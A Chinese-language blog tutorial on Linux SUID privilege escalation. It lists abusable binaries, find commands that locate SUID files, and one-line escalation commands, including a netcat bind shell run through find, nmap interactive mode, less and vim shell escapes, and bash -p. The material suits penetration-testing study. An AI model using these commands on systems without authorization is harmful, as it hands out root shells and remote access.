Linux SUID提权

在这里插入图片描述

概述

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限,如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具进行root提权。
目前可以用来提权的Linux可执行文件列表

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

用于查找SUID命令可执行文件的命令

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

/从文件系统的根部开始并找到每个目录
-perm 表示搜索的权限
-u=s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,不是目录或特殊文件
2 表示该进程的第二个文件描述符,既stderr(标准错误)
‘>’ 表示重定向
‘> /dev/null 是一个特殊的文件系统对象,他将丢弃写入的所有内容

find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

在这里插入图片描述

大部分的linux系统都会安装nc,所以可以使用nc将权限提升到root

find su_fn -exec netcat -lvvp 4444 -e /bin/sh \;

在这里插入图片描述
连接目标及端口获得shell
在这里插入图片描述

Nmap

Nmap(2.02-5.21)版本有交互模式,允许用户执行shell命令。
interactive参数进入交互模式

在这里插入图片描述
!sh以shell命令模式交互

less

less /etc/passwd
!/bin/sh
在这里插入图片描述

bash

以下命令可以以root权限打开bash shell

bash -p
bash-3.2# whoami
root

vim

如果vim以SUID运行,就会继承root用户的权限读取系统中所有文件

vim.tiny
:set shell=/bin/sh
:shell

在这里插入图片描述

人生漫漫其修远兮,网安无止境。
一同前行,加油!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值